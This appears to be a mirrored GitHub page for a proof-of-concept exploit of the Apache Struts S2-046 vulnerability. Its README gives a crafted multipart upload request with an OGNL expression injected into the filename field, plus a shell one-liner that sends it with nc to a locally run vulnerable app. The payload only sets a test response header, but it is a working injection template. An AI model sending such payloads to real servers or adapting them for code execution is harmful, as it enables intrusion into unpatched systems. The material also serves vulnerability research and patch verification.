https://github.com/pwntester/s2-046-poc

S2-046-PoC
https://github.com/pwntester/s2-046-poc

Last synced: 17 days ago
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S2-046-PoC

• Host: GitHub
• URL: https://github.com/pwntester/s2-046-poc
• Owner: pwntester
• Created: 2017-03-20T19:47:10.000Z (over 7 years ago)
• Default Branch: master
• Last Pushed: 2017-03-21T10:11:46.000Z (over 7 years ago)
• Last Synced: 2024-10-12T22:52:21.910Z (about 1 month ago)
• Language: Java
• Size: 3.91 KB
• Stars: 112
• Watchers: 9
• Forks: 34
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

        
# S2-046-PoC

## References:

- Security Bulletin: https://cwiki.apache.org/confluence/display/WW/S2-046

- Blog post: https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#.WNAr_RLyvpR

- Chris Frohoff's NULL character variant: https://gist.github.com/frohoff/a3e24764561c0c18b6270805140e7600

## Proof of concept:

Start vulnerable application with:

```

mvn jetty:run

```

Sample request:

```

POST /doUpload.action HTTP/1.1

Host: localhost:8080

Content-Length: 1000000000

Cache-Control: max-age=0

Origin: http://localhost:8080

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: http://localhost:8080/doUpload

Accept-Language: en-US,en;q=0.8,es;q=0.6

Connection: close

------WebKitFormBoundaryXd004BVJN9pBYBL2

Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type: text/plain

foo

------WebKitFormBoundaryXd004BVJN9pBYBL2--

```

Send request:

```

export payload="POST /doUpload.action HTTP/1.1\r\nHost: localhost:8080\r\nContent-Length: 279000000\r\nCache-Control: max-age=0\r\nOrigin: http://localhost:8080\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nReferer: http://localhost:8080/doUpload\r\nAccept-Language: en-US,en;q=0.8,es;q=0.6\r\nConnection: close\r\n\r\n------WebKitFormBoundaryXd004BVJN9pBYBL2\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}\"\r\nContent-Type: text/plain\r\n\r\nfoo\r\n------WebKitFormBoundaryXd004BVJN9pBYBL2--\r\n"

echo -e "$payload" | nc localhost 8080

```